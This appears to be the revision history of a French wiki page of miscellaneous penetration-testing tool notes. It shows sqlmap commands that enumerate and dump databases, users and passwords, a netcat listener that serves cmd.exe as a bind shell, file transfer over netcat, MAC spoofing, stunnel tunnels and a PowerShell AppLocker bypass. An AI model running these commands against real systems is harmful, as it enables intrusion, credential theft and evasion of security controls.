Futex le 7 septembre 2016 à 09:41

2016-09-07T09:41:18Z

← Version précédente		Version du 7 septembre 2016 à 09:41
Ligne 60 :		Ligne 60 :
	Si c'est un fichier binaire, le déboguer avec gdb.<br>		Si c'est un fichier binaire, le déboguer avec gdb.<br>
	Le désassembler avec objdump ou IDA.<br>		Le désassembler avec objdump ou IDA.<br>

			== Applocker Bypass ==

			Powershell

			[System.Reflection.Assembly]::LoadFrom("C:\BinaireDotNet.exe").entrypoint.invoke($null, $null)

Futex : /* SQLMap */

2014-04-26T17:07:42Z

SQLMap

Nouvelle page

== Stunnel ==
Créer un tunnel SSL
#stunnel -c -d 127.0.0.1:9999 -r foo:9998
Sur l'hôte disant:
#stunnel -d 9998 -r 127.0.0.1:9999

== SQLMap ==

Récupérer le nom de la base (-v 5 pour plus de verbosité)
# sqlmap -u 'http://172.16.188.134/test.php?id=1' --dbs -v 5
Afficher les tables
# sqlmap -u 'http://172.16.188.134/test.php?id=1' -v 5 -D credo --tables
Afficher les colonnes de la table members
# sqlmap -u 'http://172.16.188.134/test.php?id=1' -D credo -T members --columns
Dump de la base
# sqlmap -u 'http://172.16.188.134/test.php?id=1' -D credo -T members --dump

# python sqlmap.py -u http://www.test.com/pages.php?num=1 -f -b --current-user --current-db --users --passwords -dbs -v 0

# ./sqlmap.py -u http://www.test.com/pages.php/index.php --string="This user exists" --technique=B --auth-type=Basic --auth-cred=toto:hash --data "username=georges" -D DatabaseName -T TableName -C username,password --dump --level=5 --risk=3

Options utilisées

-u : adresse de la cible
-f : prise d’empreinte du SGBD
-b : bannière du SGBD
–current-user : session utilisateur
–current-db : Base
–users : énumération des utilisateurs dans la Base
–passwords : énumération des mots de passe dans la Base
–dbs : listing des différentes bases disponibles
-v : verbosité (0, warning, etc.)

== Netcat/Cryptcat ==

*Cryptcat est un clone de Netcat cryptant toutes ces communications

Scanner des ports
nc -v -w 2-z foo 1-1224

Se connecter sur un port
nc -v -n 192.168.1.1 21

Mettre netcat en écoute (serveur)
nc -L p 10001 -d -e cmd.exe (-L en écoute, -p port, -d détacher le process -e commande à lancer à la connection)

Envoyer un fichier
nc 192.168.1.1 1234 < file.txt

== MacChanger ==

Changer la mac adress de la carte réseau
#macchanger -m 12:34:56:78:90:12 eth0

== Identification de fichiers ==
La commande file analyse l'entête du fichier et révélera sa nature 
strings permet de trouver des chaînes ASCII 
xdd permet de retrouver des mots et leur endroits. 
hachoir-subfile examine tous le fichier à la recherche d'entête connus. Pratique en cas de concaténation de fichiers. 
Si c'est un fichier binaire, le déboguer avec gdb. 
Le désassembler avec objdump ou IDA.

Outils divers - Historique des versions

Futex le 7 septembre 2016 à 09:41

Futex : /* SQLMap */

Futex : /* SQLMap */